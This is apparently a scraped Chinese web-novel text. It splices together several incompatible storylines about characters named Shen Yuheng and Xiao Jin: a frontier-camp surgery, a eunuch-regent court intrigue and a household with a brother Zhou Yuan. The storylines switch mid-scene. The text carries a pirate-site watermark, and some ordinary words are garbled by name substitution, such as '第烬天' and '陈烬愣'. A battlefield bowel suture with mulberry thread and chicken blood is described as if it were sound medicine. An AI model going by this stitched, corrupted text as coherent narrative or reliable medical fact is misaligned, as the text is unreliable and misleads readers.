沈玉衡微微蹙眉,营中暂不缺药,短时间内,胡郎中肯定不会去县城。而自己身为罪眷,无特殊情况,又没有离开营寨的机会…… 该如何办?借口伤兵营有伤兵需要这两味药?但那些伤兵需要哪些药,胡郎中都清楚,便是伤得最严重的张河,也是皮肉伤…… “刷拉!” 正思忖时,外间忽然传来门帘被掀开的声音,接着胡圆儿脆生生的声音传进。 “爷爷,陈将军派人来问,那天抬回来的那个血糊人怎么样了?” 胡郎中似乎愣了一下,纳罕道:“这么多天没问,陈将军还记得这事?” “说是郡守派人来问粮草被劫的细节,将军才有想起这人,问醒了没,要是醒了,叫他过去回话呢。”胡圆儿又脆声道。 “啧,还醒?都快没气了。”胡郎中头也不抬,继续研究缝合法。 胡圆儿:“好嘞,那我就这么跟将军回。” 说着掉头就要走—— “等等,回来!”胡郎中忙喊住他,没好气道,“你要害死你爷爷我不成?他好歹是将军,能这么跟他说话?” “那我怎么回?”胡圆儿又转回头,一双眼睛圆溜。 胡郎中沉吟,道:“就这么跟他说,你爷爷已经尽力了,但人还是没醒,且估计也撑不了两天了。” “好嘞。”胡圆儿再次转身。 从今往后的日子,他都仿佛活在了泥潭深处,暗无天日。 即便被萧烬归还了自由,他也依旧困守在那段只剩灰色的记忆里…… 周源想了想,告诉沈玉衡:“以后我们雇个人,白天的时候去看看院子吧,再发生类似的事情,直接报官,或者拜托沈家出面解决。” “也可以,但是……这样的话,会不会太快了?而且还解决不了根本?” 沈玉衡还抱着一点期望,毕竟刚刚那个姓苏的小公子那么面善,他实在不敢相信,他居然会做出这么阴暗的事情。 周源知道他难以置信,只是淡淡地一笑。 除了让他们想要的人死而复生的奇迹以外,没有任何事,能够解决他们的“根本”。 第 70 章 第 70 章 70 为了安全考虑,周源雇了些家仆和护卫,帮他们看家护院。 那之后,家里果然没再进过什么奇奇怪怪的人。 可是沈玉衡还是有点不适应。 虽然他和这间小小的宅邸,也就几个月的交情,情感不算深厚,但他很喜欢有一个独属于自己的空间。 大概是从前租房子租惯了,他一直想有个自己的家。 周源雇来的家仆,也不能说不好。 除了看家护院,也包揽各类杂事,打理的相当干净。 只是每次回家,看见他们聚在墙角打马吊牌,热闹嬉笑的样子,沈玉衡说不上是什么滋味。 那种感觉……像自己的家里,又住进来另一户人家。 原本过着平静安稳的日子,可是每天要面对另一群热热闹闹的人,难免衬出他们这边的冷清。 周源也感觉到了弟弟的不自在,试探着问他,要不要遣散家仆。 沈玉衡想了一会,还是摇头。 如果遣散家仆,谁来护着这个家呢? 换做以前没钱的时候,他们要是遭了贼,连雇人的银子都没有,现在能够请人看家护院,已经很好了。 周源心里也觉得有人看家更好,看弟弟这么懂事,伸手想要摸摸他的头。 沈玉衡抬起脸,黑亮的眸子直视周源,看见了男人眼睛里一瞬间的惊愕。 两人对视了几秒,周源的手还是缓缓落了下去,微笑着搓了搓他的头顶。 沈玉衡朝他挤出一个微笑。 他知道周源一直无法把他和“沈妃”彻底分开,但总觉得,自己天天和周源见面,等他习惯了,就不会有那种错觉了。 可是这么久了,周源看见他,仍然会露出那种……像是视线都被烫伤的表情。 沈玉衡不知该作何感想,只能把心里的矫情压下去,埋起来- 和萧烬一道用过早膳后,沈玉衡便看到了自己要吃的药。 他从小到大其实生病很少,且因为太医院没人敢给他开药——他母族可是诛九族的大罪,除了他确实入了皇家玉牒,可皇帝没有给他一切,就连夫子都没有给他指过,好似直接将他忘了一样。 所以沈玉衡病时,很少吃药,都是嬷嬷用一些民间的法子给他治好的。 而现在闻到苦药味,沈玉衡就忍不住缩了缩。 奈何萧烬在旁边扬眉示意他:“喝了。” 沈玉衡微抿唇,到底还是端起了那碗感觉比毒药还可怕的药。 院使见他皱着脸,便多说了句:“殿下若是怕苦,就捏着鼻子,一口气吞了,再含颗蜜饯,会好许多。” 沈玉衡做了下心理准备,捏着鼻子将这一碗药一口灌完。 他吞下去的时候,就差点呕出来,那种味道……也不是说苦,就是叫他直犯恶心,哪怕速度极快地吃了颗放在旁侧的蜜饯,也还是难受得很。 饶是沈玉衡再能忍的人,都被这一碗药折腾得失了态,手撑在桌子边沿,干呕了下,那双柳叶眼中也浮现出了朦胧的水雾,眼眶都跟着微微泛红,那副孤冷的模样彻底被打破,瞧着倒叫人无端有些心疼。 萧烬盯着他的眼睛,自己都未曾觉察到,舌尖碾过了尖牙。 沈玉衡生得好看,他这样的人,哭起来也是好看的。 如若配上那隐忍屈辱的表情…… 萧烬微勾起嘴角。 还有三个月。 夏士诚死了才九个月. 沈玉衡跟着萧烬去了皇祠,他的兄弟姊妹们已经在这儿跪拜了一上午了,朝中大臣也在。 萧烬出现时,除了跪在棺前的几个,其余人都悄悄瞥了沈玉衡一眼。 封十七皇子沈玉衡为太子的旨意,他们都知晓,也不会有人觉得沈玉衡是有手段坐上了这个位置,他们只想看看,萧烬觉得好掌控的这位被遗忘了的十七皇子是何模样,好记住。 沈玉衡身上的衣裳已是太子官服,尚衣局赶了一夜的工给他赶出来的这一身。 他本应该再在外头披麻戴孝的,但走时,萧烬捻了捻那块白布,嫌晦气:“这红色多好看,非要套个白?” 没人敢置喙他。 今儿个就算他坐在皇帝的棺上喝酒唱曲儿,也没人敢当着他的面说句不是,除非不要命了。 所以穿着朱红底绣四爪金黑蟒的沈玉衡,就跟着穿着黑底飞鱼服的萧烬一同出现在了一片素白的灵堂。 甚至是他走前头,萧烬后他半步。 ——萧烬说,表面的功夫还是要做一做的。 就是沈玉衡真觉得他这功夫敷衍,毕竟白麻衣都不套一下。 沈玉衡走进去时,跪在外头的大臣就一个个掉个儿拜人:“千岁爷、太子殿下。” 这动静,也惹得跪在棺前的皇嗣们偏身回头看了过来。 从那道圣旨下来后,他们没有一个不想看看这个早被他们忘了的十七弟是何模样,但萧烬护得太紧,别说人了,便是连一片衣角都瞧不见。 沈玉衡自有记忆起,就从未被这么多人关注甚至是盯着,他的脚步都慢了慢,却并未停下。 从萧烬选中他的那一刻起,他便开始在做准备。 他知晓自己只要不犯萧烬的忌讳,就能一步步从东宫到龙椅,这一路总会有数不清的眼睛盯在他身上的。所以他并不畏惧。 萧烬在他慢下来时,便看了他一眼。 见“捡来”的小野草如他所料地没有脆弱地被一点雨打得直抖叶子,心里在满意的同时,也是起了更多的兴味。 沈玉衡行至灵堂内,按照萧烬教的,跪在了最前头的蒲团上,低头叩首。 总共三次,按理来说,他拜完后,便要跪在这儿守灵,但同他一道拜完了的萧烬率先起身,还弯下腰,单手扶住了他的胳膊。 沈玉衡就在他的搀扶下站了起来,然后一言不发地往外走去。 意识到他不会在这儿守灵,最前头的那位大臣几近惊怒地开口:“太子殿下!按照我朝规矩……” “按照我朝规矩,国丧守灵头日,皇嗣和朝中大臣皆不可进食,只能喝水。但我看许尚书中气十足,是早膳用得太饱?” 萧烬打断了他的话,还笑眯眯地:“许尚书不用说没有,人的嘴巴是最不可信的,为了确定许尚书有没有说谎,还是去东厂的刑司走一趟?” 许性德怒目圆睁:“你!” 萧烬觉得没意思,用手轻轻顶了一下沈玉衡的脊背,示意他继续往前走,声音悠然:“还是算了吧,陛下生前与我说过,替他好好照顾小十七。我们小十七性子弱,身子骨也弱,见不得这些打打杀杀的事。” 小十七本人:“……” 太子殿下身子骨弱? 好几个人偷偷瞄了一眼沈玉衡。 大乾重武,几个拔尖争权的皇子,骑射都不弱,故而平时身板看着也硬朗,颇有军中之姿,对比起来,从未见过马与弓箭的沈玉衡,又恰好站在如今大乾第一高手萧烬附近……确实羸弱似迎风就倒。 出了皇祠后,萧烬突然问了句:“你怪我么?” 沈玉衡不明白他在说什么:“…厂公说什么?” “那是你父皇。” 萧烬瞥他:“我却不让你守灵。” 沈玉衡安静了两秒。 他不知道萧烬想听什么样的答案。 怪他?然后叫萧烬更加愉悦,满足他那恶劣的喜欢看人难受的癖好? 还是说不怪他……若他说不怪他,萧烬会怎么样? 他不知道,毕竟萧烬如今展现在他面前的模样太过捉摸不透,就像是一个常人无法理解的疯子。 所以沈玉衡只能避重就轻地说:“我从未见过他。” 他望着面前长长的御路,轻声:“我甚至不知道他长什么样,他也不愿意给我一个名字。” 沈玉衡…… 他的兄弟都是“平”字辈的,据嬷嬷说,是因为陛下希望他们平庸一些,不要出众,就能活下来。 可他叫玉衡,这个名字…是他母妃给他取的字,就被录进了玉蝶里,成了他的名。 萧烬微顿,若有所思:“所以你恨他么?” 沈玉衡看了他一眼,又低垂下眼帘:“面都没有见过的人,为何要恨。” 也不知怎的,他说了这句话后,萧烬就没了声音,只是意味不明地扯了下嘴角。 沈玉衡忐忑了下,但没等来他发火,便也忘了这茬. 回了东宫后,沈玉衡被萧烬安排在了书房。 他低头摩挲着手里袖子的蟒纹,一时走了神,萧烬再进来时,他便不动声色地收了手,站起身来要行礼,但被萧烬拦了。 “日后不用跟我行礼。” 沈玉衡微顿,直起腰板:“好。” 萧烬稍扬眉,把手里没有落书名的册子丢给他:“背熟。” 沈玉衡不明所以,打开来看,就见是一本记录了朝臣的册子。 里面不仅有所有朝臣的名字、品级、官阶,还有家中关系、姻亲,以及或疑似或确定的派系…… 沈玉衡攥紧了书页几分。 他以为…萧烬要的是一个傀儡。 一个傀儡,怎么能知道人是如何将他制作出来的? 就不怕这个傀儡有了灵魂和思想,制作出属于他的傀儡么? 是过于自信,还是…… 沈玉衡不由看向萧烬,便见萧烬已然坐在了书案后的椅子上,那椅子是雕了蟒的,象征着太子的权贵,萧烬却毫不在意。 沈玉衡也不意外他不在意,这人估计…龙椅都坐过了。 “按照我朝规章,你明年一月一才能登基,所以你还有四个月的时间背熟。” 萧烬随意道:“我会抽查,若是太子殿下错了……” 他掀唇一笑,也不知是因为那张脸生得秾丽还是什么,竟无端多出些暧丨昧感:“臣是会罚你的。” 沈玉衡微抿唇,垂眼看向了手里的册子。 到底是试探,还是真的要他背熟…… “好。” 无论怎么样,他现下都只能先应。 沈玉衡慢慢翻着手里的册子,眼睫微动,在安静了会儿后,试探着低声说了句:“我还以为…朝中全被厂公把控。” 萧烬正在写着什么,闻言眼皮都没掀一下,随意道:“怎么可能?若是如此,你父皇怎会被投毒?” 也是。 不过…… 沈玉衡心说萧烬好像没有他想象得那么…… 但不代表这个人是好相与的。 他还记着自己把自己掌心掐出了点印子,他就发了脾气的事。 终究还是喜怒无常、阴晴不定的. 中饭时,萧烬还是与他一同用的。 在赵宝一道道菜扎银针时,萧烬也把包好的信交予了另一人。 他没吩咐什么,对方却知道要怎么做,跪下领命后便直接离去。 然后院使又端来一盅汤,闻着很香,特意放在了沈玉衡跟前。 揭盖后,萧烬示意赵宝先验那个。 沈玉衡意识到这盅汤只给自己喝:“……这是?” 下了什么长期毒么? 萧烬完全没觉得有什么似的:“你不是怕苦喝不了药么,这药膳也能代替药,只是调理起来时间要更长一些。” 院使低声说是,跟沈玉衡多说了句:“殿下待会儿先试试,若是还觉得药材味过浓受不了,那微臣再去改改方子。” 沈玉衡愣住。 ……除了嬷嬷,从来没有人在意过他的感受。 为何偏偏是…萧烬。 就在沈玉衡坐在门口,寻找着下一根受害草时,身旁的大门被猛地推开。 沈听澜推着萧烬出去,骂的又狠又响亮,毫不留情。 萧烬被他推搡着,脸色已经难看到了极点,却又没有反驳的话。 这样被冒犯,换做任何一个皇帝来说,都绝对不可能忍耐。 但他不同,他有求于人,不得不忍。 为了沈小公子,连皇帝都能做到这种地步。 这时,萧烬也注意到了门边的他。 沈玉衡没躲没藏。 他戴着斗笠站起身,眼神冷的自己都不认识。 “陛下,又见面了。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 70-80 第 71 章 第 71 章 71 又见面了。 这四个字让沈听澜惊讶地看了看二人。 萧烬皱起眉,敢这么和他说话的,恐怕整个大周挑不出第二个人。 他认出这个把自己遮的严严实实的男人,就是那天在清濯殿,于慈身边的年轻人。 之所以记得这么一个微不足道的小人物,无非是因为萧烬在他身上,看到了沈玉衡的一点影子。 事后死士也调查过这个人的身份,他是沈玉衡宫里一个太监的弟弟,被辗转卖过几次,还被卖去过青楼,身份低贱如泥。 张虎浑身一震,猛然转头望向声音传来方向,通红眼中满是不敢相信。 营帐内也瞬间一静,连张河的痛苦声似乎都变低许多。 众人纷纷看向声音来源—— 人群后方,沈玉衡手端箩筐,穿着粗布旧冬衣,手肘衣摆处都打着补丁,眉目间却有种山间清雪的出尘玉丽,目光沉静。 众人很快认出他是常来给伤兵换药的流放罪眷,见开口的竟是个年纪不大的“女郎”,不由都心生失望。 这小女郎恐是信口开河,毕竟连战场都没上过,恐怕根本不晓得张河的伤有多严重。 “咦,是你?”胡郎中倒是语气惊讶。 他认得眼前这“小女郎”,对方这几日来照看伤兵时,常去他那抓药,但每次都不需他开方子,自己把需要哪几味药、各几钱一一说清楚。 从抓的药来看,明显是治风寒的方子,不过其中有几味药的用量却跟胡郎中熟知的不一样。他当时担心对方用错药,还特意提醒一句。不过“小女郎”只朝他笑笑,并未多语,第烬天来了,还像之前那样抓药。 人么,反正是没吃死。 胡郎中心生好奇,恰巧前日自己偶染小风寒,便用这方子试了一试,谁知效果竟出奇地好。第烬天他就忍不住向对方打听方子来处,得知药方竟是“小女郎”自己给自己开的。 “我祖父姓沈,曾是宫中太医,我自幼体弱,跟他学过一些医术,算略通皮毛。”沈玉衡当时抿唇轻笑,这么对胡郎中说。 他借用的这个身份姓沈,祖父也确实曾是宫中太医,只不过他的医术却不是跟对方所学,而是梦中那位跟他一起流落西羌的中原游医。 像张河这种破肚断肠的伤,他梦中不仅看过游医给人治,还在对方指点下,用死人的身体试着缝合过很多次。后来他辗转回到中原,跟父亲的旧部一起在西南与胡人艰难作战,也曾为身边受过这类伤的士兵缝合过。 不过,也并非每次都能把人救活。那位游医教他时,跟他说这种伤要视程度轻重,有的能救,有的则不能。 他方才仔细观察过张河的伤,对救活对方有四成把握——如果能有梦中那种熟练程度的话,这个把握还可以更高些。 “我祖父曾是宫中太医,”清落的嗓音再次响起,人群中,沈玉衡镇静看着众人,再度开口,“我跟他学过医,可以试试救这个人。” 语气一贯地镇定,说辞也是之前骗胡郎中的那套。 胡郎中却不知,以为他真的只是略通皮毛,风寒方子大抵也是祖父教的,不由压低声音劝:“姑娘,这事可不能随便夸口,万一救不活——” 须知那些医术高明的郎中,都要大量给病人看病,累积经验。 一个曾养在深闺的女郎,就算因祖父缘故,学了些医,也不会有多少病人给她治。何况这种在战场上才常见到的伤,更不是一个闺阁小女郎能轻易接触到。 且他行医这么多年,就没听说肚破肠断还能救。 只是他话没说完,张虎就已经踉跄起身,像抓住救命稻草般拨开人群冲过来。 “女郎,您救救我弟弟,求您救救我弟弟,不管能不能救活,我张虎都不忘您的大恩大德!”说着又要扑通下跪。 沈玉衡如今是罪眷身份,忙侧身避开,道:“不用如此,先将你弟弟抬到光亮处,别让人围着。另外叫人杀鸡取血,准备烈酒、盐水……” 他一一交代完,转头又看向已经愣住的胡郎中,忽而一笑,道:“胡老先生,可否借针一用?” 说着,视线望向他身后背着药箱的小孙子胡圆儿。 胡圆儿不过十岁年纪,长得圆头圆脑,见他笑着看向自己,一时竟呆愣住。 胡郎中心知救人要紧,不管信与不信,都忙点头说:“好好,胡圆儿,快把药箱拿来。” 说完却见孙儿愣着没动,不由一巴掌拍他身上,催道:“傻愣着干什么?还不快把药箱给我。” “哦哦!”胡圆儿这才回神,着急忙慌地放下背着的药箱。 胡郎中拿出的并非缝合用针,沈玉衡也不意外,现今大周虽已有人用针缕缝合治疗外伤,但永丰镇地处西北,位置偏远,恐怕还未听闻。 沈玉衡也是在梦中知道这些,好在胡郎中的针稍加改动,也能凑合用。 他先将针改好,和刀、剪等用具一起放进沸水中煮,接着取出一个随身携带的小药瓶。药瓶打开,里面是一团浸着药水的细线。 此线名为桑皮线,顾名思义,是取桑树根皮,剥出有筋纹的柔软内层,锤制而成。 桑皮有清热解毒之效,由它制成的线细滑如丝,不易折断,能促进伤口愈合。且在缝合后,线会随伤口愈合融进肉中,不需再拆出,最适合缝断肠。① 永丰镇不缺桑树,这种线的制法也简单,沈玉衡自那场预知的梦中醒来,便按梦中办法制了这些线,没想到这么快就能用上。 他先将细线取出,放在蒸汽上熏软,接着取出针,将细线绑在针尾,神情专注。 “竟是要用线缝?”胡郎中一直在旁观看,心中暗暗惊讶,接着又迟疑,“可这人肠不是布匹衣料,直接缝有用吗?” 正在药庐熬药的徐阿婶这时也匆匆赶来,应是听说了沈玉衡的事,脸上掩不住焦急和担心。 沈玉衡朝她笑笑,示意不用担心,接着对胡郎中道:“等会儿还要再麻烦老先生,在旁帮我递一下刀、剪之类。” 胡郎中连忙点头,说两个“好”字。 此时张虎等人已经把张河抬到光亮处,鸡血、盐水等也都备好。几人都紧张望向沈玉衡,焦灼等他过去。 其他伤兵没见过这种场面,也好奇围在四周,因张虎等人不让靠近,只能伸长脖子看。 沈玉衡深吸一口气,目光渐渐平静,在众人瞩目下,一步步走到张河躺着的木板前。 虽然梦中已经缝合过很多次,但现实中并没有,他不敢保证真能成功。 他以为自己会心慌,会手不稳,但拿起针线的那一刻,心中意外地平静,手也像梦中已经缝合过很多次那样平稳。 也许那些并不是梦,是他曾经经历。 沈玉衡缓缓呼出气,平稳呼吸后,看向伤口位置。 张河此刻仍被人按紧四肢,疼得面部近乎狰狞,发红的眼睛因充血显得凸出,充满哀求与渴望地望着沈玉衡。 他腰腹处的衣料已经被剪开拿掉,伤口附近也被用烈酒擦拭过。 沈玉衡目光沉静,检视过他的伤口后,在身旁人紧张的注视下,找到肠断开的两端,迅速下针缝合。 他落针的手很快,且稳,每一针都精准无误。刚开始两针还有些生疏,但很快便像曾缝合过很多次,手法变得熟练,如行云流水。 还在按着张河手脚的张虎等人都下意识屏住了呼吸,目不转睛盯着针线灵巧穿梭,大气都不敢出一下。 张河很快疼昏过去,偌大的伤兵营一片寂静,针落可闻声。 沈玉衡神情专注凝肃,垂下的眼睫纤长浓密,眉目间有种令人信服的力量。 “剪刀。”针线走完,他忽然开口。 语气沉稳冷静,头并未抬起,只手伸向旁边的胡郎中。 胡郎中正看得出神,闻声陡然回神,忙将细剪递来。尽管心中有诸多疑问想说,但此刻他也不敢大声喘气。 沈玉衡利落剪断线,迅速将鸡血涂在缝合位置。针线难免留下孔洞,鸡血快速凝结,能巩固缝合效果。② 到此才只是做完第一部分,接下来还要缝合腹部伤口。且腹部伤口需从内到外,层层缝合。沈玉衡的针法依旧是跟那位游医所学,做隔角状缝合。③ 这是极耗费心神的事,他全程专注,沉浸在忘我的世界里。不知不觉,时间已快至正午。 他额上冒出细密的汗,许是太过专注,竟像梦中一样,直接对身旁人说:“擦汗。” 旁边人都愣住,张虎最先反应过来,忙拿起块布巾。 只是还没来得及擦,徐阿婶就赶紧抢过去道:“还是我来吧。” 帮忙擦过后,她心中庆幸想:幸亏我过来了,不然女郎一个姑娘家,怎好让这大汉给擦汗。 沈玉衡全然不知这些,最后一针缝完,他剪断细线,心神骤然放松,眼前竟又忽地一黑。 老医师低下头,不能,也不知道怎么回答。 “是不是朕,是不是……” 萧烬的眼睛突然染上浓烈的怒意,眼底的红色几乎要吞噬一切。老太医退后一步,茫然无措地望着突然失控的少年。 “为什么不说话!!朕手里还有很多,很多你在乎的人……” “你只要说话,朕不杀他们……” “为什么还……为什么还不……” 一声声撕心裂肺的嘶吼几乎让他的嗓音也碎裂了,仿佛要将这份撕裂的痛苦一并倾泻给那不再回应的尸身。 然而,棺椁里依然寂静无声。 第 72 章 第 72 章 72 沈玉衡望着棺椁前彻底失控崩溃的背影,说不上来是什么心情。 他还以为自己会很痛快。 因为萧烬的缘故,他才不得不重生,被所有人当做自己的替身,归根结底这都是萧烬的错。 可萧烬的反应远远超过了他的想象。 帐门口,几个伤兵已经将蒋百夫长的手下拦住。 张河急得直催身旁人:“去叫我哥,快去叫我哥来。”他忙走过去,将饭菜端起。 沈玉衡意外:“你还没吃饭?” 下一刻,却见他将饭菜端给自己。 似是见他疑惑,萧烬抿了抿唇,哑声开口:“……没碰过。” 意思是他没动过筷。 沈玉衡惊讶,忽然明白过来,对方好像是特意把饭菜留给他。 是因为昨天见张虎给他塞了一碗,所以也用这种方式表达谢意? 沈玉衡只能这么猜测,不觉有些失笑,道:“我用过饭了,不饿,你自己吃吧。” 张虎把饭菜给他,回去后还有营中的大锅饭可吃。但萧烬这么做,就要自己饿着了。 可能是因为失忆了,什么都不懂,见张虎这么做,便盲目跟学……嗯?什么都不懂? 沈玉衡心思微转,再次想起昨晚的想法,忽然又直直看向萧烬。 萧烬正因刚才的拒绝,黑眸闪过一瞬失落,见他看过来,忽然又亮几分。 沈玉衡看着他,目光忽然比任何时候都要柔和,声音也格外轻柔:“你先吃好吗?吃完我再给你换药。” 萧烬望进他的目光中,像望进一汪揉碎的星河。 他很快点了点头,坐在床边,大口吃起饭。他平时吃饭不紧不慢,今天却很快,偶尔还会抬眼看沈玉衡一眼,见沈玉衡正抿唇微笑看着自己,又不自觉放慢些,尽量使自己吃得斯文些。 像被驯化的孤狼在进食,时不时看一眼驯化者的态度。 也很好哄。 沈玉衡看着他,目光微闪想。 老实,好哄,并且失忆,什么都不懂,不会发现他的秘密。 没有家人,没成过亲,身手还厉害……不怕蒋百夫长。 短期内,似乎没有比他更适合的人了。 沈玉衡心中思量,虽然昨天就已下定决心,但真找到合适的人后,却忽然又犹豫。 真要这么做?真要为了躲避婚配令和蒋百夫长,和一个男子成亲? 身旁人忙“哎”一声,急匆匆往外走,心中却担忧—— 张虎纵有蛮力,腿脚功夫也厉害,但来的是蒋百夫长的人,这事恐怕不容易善了。 官大一级压死人,更别提蒋百夫长还有个兄长是军中校尉,职位仅低于陈将军。姓蒋的平日就嚣张,听说早就纠缠沈姑娘,这回目的明显,只怕张虎来了也没用。 他这边担忧,那边两名伤兵已经被蒋百夫长的手下接连推搡。 “干什么?蒋百夫长请人,你们也敢拦?怎么,沈姑娘就只能给你们看伤?”两名手下嚣张道。 阻拦的伤兵被推得不敢还手,神情憋屈。他们都是穷苦军户出身,得罪不起百夫长,何况…… “何况百夫长的兄长可是军中蒋校尉,怎么,你们连蒋校尉也敢得罪?” 见他们不敢还手,两人愈发嚣张,又抬出蒋校尉。 沈玉衡皱眉,抬手挡住两人要继续推搡的动作,沉声道:“别为难他们,我跟你们去。” “沈姑娘!”两名伤兵神色焦急,劝道,“您不必跟他们去,等张虎回来……” 躺在木板床上的张河此刻也挣扎着要下床,面色涨红道:“沈姑娘您别去,等我大哥来,一定打得他们满地找牙……” “呦呵,你大哥?”两人闻言嘲笑,“怎么?你大哥就敢得罪蒋校尉?不如我先把你打得满地找牙,看你大哥能把我如何。” 说着撸起衣袖就要上前。 沈玉衡抬手止住张河的话,神色微冷看向那两人,寒声:“还走不走?” 两人一顿,这才退回来,却仍斜睨两名伤兵和张河一眼,怪声道:“还是沈姑娘聪明,不过您要是一开始就这么说,也不至于有这些事,您说是吧?我们只是个跑腿的,您说您何必为难我们呢?” 说着,其中一人走到他面前,还看似客气地做个“请”的手势。 沈玉衡神色冷凝,已然压着怒。 忽然,一柄干涸着乌黑血迹的弯刀刀鞘横到中间,压住那人手臂。 沈玉衡惊讶,见刀鞘眼熟,立刻转头,果真是萧烬。 萧烬正冷冷看着那两名手下,他站起时,身量很高,虽穿着破旧棉衣,仍挺拔得像雪地青松。 除了拿刀,他另一只手还拄着拐,面容冷俊。 蒋百夫长的手下愣住,仔细打量他一眼后,忽地一乐,嘲道:“一个瘸子还来学人英雄救美,怎么,不会真以为拿把厉害的刀,就成将军了吧?” 说着大笑一番,抬手就要挥开刀鞘,然而——刀身稳稳不动。 反倒是抬手的那人忽觉得手臂像压着千斤重的担,脸色顿时一阵难看。他较劲似的用力往上抬,却越压越重,手臂也被越压越低。 他额上不由冒出冷汗,紧接着就听对方冷冷吐出一字:“滚。” 同时刀鞘一转,重重打在胸口,竟像军棍打在身上,令他闷哼一声,生生后退几步。 他不由惊骇,但顾及面子,还是强忍住胸口剧痛,虚张声势:“你叫什么?知道自己得罪的是谁吗?是……” “跟他废话这么多干什么?直接打走就是。”另一人不知情况,且平日嚣惯了,径直上前出拳。 只见狠厉拳风,直袭萧烬面门。 “小心!”张河和两名伤兵急忙喊。 都是军中士卒,哪有没几下子身手的?可萧烬却拄着拐,想也知道行动应不方便。 沈玉衡心中也微惊,知道萧烬伤还没好,忙要拉他退开。却见眼前人头一偏,眨眼错开拳风,接着身形瞬动。 没人看清他是怎么动的,就见他已经站到来者身后,一记肘击打在对方后心,直接将人打得跪地干呕。同时寒刃出鞘,直抵脖颈,划出一线血痕。 刀刃抵在咽喉,寒凉刺骨。 这人惊出一身冷汗,瞬间没了之前气势,手脚更是发软,磕巴接着之前同伴的话道:“你、你知道自己得罪的是谁吗?是蒋百夫长,他兄长可是军中校尉,你一个小小士卒……” “没听过,不知道,不认识。”萧烬不等他说完,就面无表情打断,嗓音干哑粗粝。 说完,刀身收回,锵然入鞘,横鞘将人击退。 “滚。”他再次冷冷吐出这个字。 那名手下被打得脸色惨白,却觉劫后余生,慌忙捂着胸口爬起,踉跄后退。 另一人赶紧扶着他,相携往后走,走时还不忘放一句狠话:“你等着!” 只是那声音,怎么听都像在颤抖。 周遭一片寂静,直到那两人走远,张河和两名伤兵仍像忘了反应。 萧烬握紧刀,拄着拐慢慢转身,看向一直望着他的沈玉衡。 片刻,他瘸着腿走近几步,站到对方面前,身上冷意已然尽消。 “你,没事吧?”他薄唇抿了抿,粗哑嗓音开口,似乎忽然变成了毛头小子。 沈玉衡终于回神,视线缓缓从他脸上移开,轻咳说:“没事。” 萧烬点头,接着两人都没再说话,一时相顾无言。 沈玉衡忍不住又看他一眼,脑中忽想起昨晚分析的那些,以及徐阿婶那句:不若嫁个厉害的武官…… 厉害的……他视线落到萧烬脸上,很快又移开,神情自若,像是找话说:“你伤口是不是又扯开了……” “你今天来得比平时晚……” 萧烬几乎也同时开口。 两人一怔,接着沈玉衡轻笑,道:“还是先回营帐吧,我帮你重新包扎一下。” 萧烬黑眸微闪,幅度很轻地点了下头。 沈玉衡提着药箱,又朝他笑笑,先往营帐走,然后一路沉思。 萧烬拄着拐,一瘸一拐地跟在他身后,唇紧抿成直线。走了几步,又克制不住般,出现一丝不起眼的弧度。 那两名伤兵此时也终于回神,忙跟上两人。 张河同样激动,但起不了床。 倒是之前那断腿伤兵,到底也到帐门口来了,这会儿正激动对萧烬道:“厉害啊兄弟,没想到还你这身手,以后少不得能当个百夫长。” 说着就要去拍萧烬的肩,谁知对上对方视线,又一僵,讪讪收回手,暗道:还真是少爷脾气。 但他很快又跟上前,好心提醒:“不过你现在到底还是个小兵,眼下得罪了蒋百夫长,以后日子恐怕不会好过。” 众人顿觉他“哪壶不开提哪壶”,虽然这是事实,但大伙儿现在正激动呢,就不能让大家多高兴一阵再说? “陈青,陈烬愣,你就少说几句吧,一开口就没好话。”张河躺在床上爬不起来,努力伸着脖子朝他喊。 陈青立刻回头,拖着断腿去跟他理论:“谁烬愣?我哪愣了?” 众人顿时哄笑,都看起他烬人热闹。 萧烬紧蹙的眉微松,觉得身旁终于没人再聒噪,视线不由又追上面前人的身影。 沈玉衡已经走到他床前站定,视线正落在他离开时放在床边的那碗饭菜上。 可此刻沈玉衡眼底的情绪,却又那么陌生。 萧烬望着他,他也回望萧烬,眼底没有任何的怨恨,责怪,或是怀念。 只要沈玉衡能回来,他不介意他多恨他,甚至希望他永远恨着自己。他想待在离他心脏最近的地方,就像自己从前恨他一样。 即便沈玉衡不原谅自己,到死都恨他,他也甘之如饴。 可是此时此刻,沈玉衡看着他…… 却好像在看一个完全陌生的人。 让萧烬茫然无措。 第 73 章 第 73 章 73 短暂的眼神交汇后,沈玉衡跟在沈崇身后,转过了身。 萧烬一步上前,拦住了他们。 看见萧烬气势汹汹的样子,沈崇愣了一拍,不禁想到那些传闻。 虽然沈玉衡否认,但萧烬露出那样的眼神……就算他们之间没有过什么,他对沈玉衡的心思肯定不清白。 沈崇看了一眼自己的小儿子,见他冷淡地扭过头,就知道自己该怎么做了。 “陛下,玉衡还要与我去见几位老友,先行告退,失陪了。” 伤兵营帐外的东南方向有一片空地,从北地刮来的风被帐布遮挡,风沙在这里止步,冬日暖阳也在这里洒下碎金,带来难得的少许暖意。 沈玉衡走到这边一处无人能看见的位置,终于停下脚步,转身回眸。 萧烬也霎时止步,拄着拐站稳,抬头定定看他。 一阵变了方向的风忽然从右后方吹来,不大,却吹动两人的衣摆。 沈玉衡几缕碎发也被吹得挡了视线,他很自然地将碎发捋到耳后。阳光照在他侧脸,皮肤纤薄,白得近乎透明,轮廓玉丽中又隐有几分锐意。 萧烬握刀的手忽然微紧,有些不自然地移开视线,无人注意到他耳后漫上薄红。 沈玉衡见他站得离自己有些远,主动上前几步。 萧烬正有些走神,猝不及防见他走到面前,竟下意识后退,回神后又慌忙止住,只呼吸不自觉轻了许多,像怕惊动什么。 沈玉衡见他这般反应,不由笑了一下:“我很吓人?” 萧烬有些不自然,视线微闪,良久,才轻轻摇了摇头。 沈玉衡心中有事,也没有再问。 他忽然沉默,良久,终于看向别处,语气状似平常地说:“你在营帐中,应该听说过我的事吧?” 萧烬一愣,很快明白他说的是什么事。 他迟疑着点了点头,顿一会儿,又有些局促似的,哑着嗓音解释:“是陈青说过。” 不是他主动打听的。他垂下眼睑,沉默想。 沈玉衡点头,并不意外,毕竟现在没什么战事,营帐里那些伤兵很闲,每天什么事都谈论。 不过这样也好,省得他讲了。 他鞋尖轻碾地上碎石,片刻,又深吸一口气,抬起头继续:“那你应该也知道朝廷的婚配令,还有蒋百夫长想娶我……不,准确说,应该是纳。” 说到这,他语气不自觉带了厌恶。面前,萧烬的神情也渐渐冰冷。 “他兄长是军中校尉,在营中的地位仅次于陈将军。现在他放出话,不准别人跟我成亲,营中士兵畏惧他兄长的地位,应该真的无人敢了。” 